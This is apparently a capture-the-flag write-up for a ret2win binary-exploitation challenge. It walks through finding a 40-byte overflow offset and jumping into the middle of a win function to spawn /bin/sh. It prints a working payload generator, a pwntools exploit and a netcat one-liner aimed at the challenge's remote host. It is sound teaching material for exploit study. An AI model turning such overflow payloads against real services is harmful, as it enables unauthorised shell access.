Rookie Mistake

Personal Rating: Medium

The challenge description already contains important hints: "ret2win, but not by calling the win function, but by calling a certain address of it."

Let us have a look at the file.

file rookie_mistake
rookie_mistake: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c6ceed0e20bb1a034846f67ec07cc071e6b94e8f, for GNU/Linux 3.2.0, not stripped
checksec --file=rookie_mistake
wc -c rookie_mistake
20936 rookie_mistake

Inspecting in Ghidra. Starting with the main function, it is extremely simple.

So we have this apparent layout for the overflow:

8Bytes expected input
24Bytes Buffer
? potential stack frame or other data
return address

The functions banner, printstr and info are custom. But they seem to only print unknown stuff.

Starting the program, we can overflow the buffer as expected

This is the win function. It seems that we have to call it, but provide 6 values to it, which depend on the check_core function not returning \0 with each input

Inspecting the check_core function, it seems that the input we give it has to be equal to the second input parameter. These are hard coded and we can find them in Ghidra:

So in summary, our input has to contain this:

  • 32Byte buffer

  • potential unknown intermediate buffer

  • function pointer of overflow_core, which should be 0x0000000000401672

Let's find the offset using cyclic.

cyclic 48
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa

This landed in the RIP: 0x616c6161616b Using cyclic to look up the offset, we see that the offset are clean 40 Bytes:

cyclic -l 0x616c6161616b
40

Rechecking with radare2, it seems correct:

r2 rookie_mistake
afl
0x00401672 -> "\x72\x16\x40\x00"

Trying this with a 40 Byte buffer did not work. It seems we have a two byte intermediate buffer that we need to overcome too.

So with this new payload, we could reach the target function:

python3 -c 'print("A"*40 + "\x72\x16\x40\x00\x00\x00")' > payload.bin

First I thought that the next step has to be to prepare the registers for the input values of the function, so that all checks are successful. However, this was not possible (at least without resorting to more complex techniques, jumping to libraries etc.) since the main function does not read enough bytes of user input. After some time of trying and researching, I revisited the hint that we have to jump to a certain address of the target function instead of its start. Then it became clear to me that we can just jump to the /bin/sh execution, skipping the checks.

0x00401758

This payload generator worked in the end:

from struct import pack

buf = b"A" * 40  # buffer/offset
buf += pack("<Q", 0x00401758)  # target_call
buf += b"\n"  # Newline as expected to end the user input

with open("payload.bin", "wb") as f:
    f.write(buf)

It is important here to add the newline. At first I did not do that, which caused the program to crash instead because the user input string was not correctly terminated.

This is my final script , which uses pwntools to run the exploit remotely:

from pwn import *

HOST = "209.38.246.2"
PORT = 32338

offset = 40
address = 0x00401758

log.info(f"Testing address: {hex(address)}")
payload = b"A" * offset + p64(address)

p = remote(HOST, PORT)
banner = p.recvuntil(b":~$")
if banner:
    print(banner.decode(errors="ignore"))

p.sendline(payload)

try:
    p.clean(timeout=2)
    response = p.interactive()
except EOFError:
    log.warning(f"Connection closed at {hex(address)}")

p.close()

After the event I also found this nice and clean way to do it without a Python script:

(cat payload.bin; cat) | nc 209.38.246.2 32338

The important part here is the additional cat that keeps the connection open. Otherwise, you would just throw your payload against the target and exit out immediately.

Last updated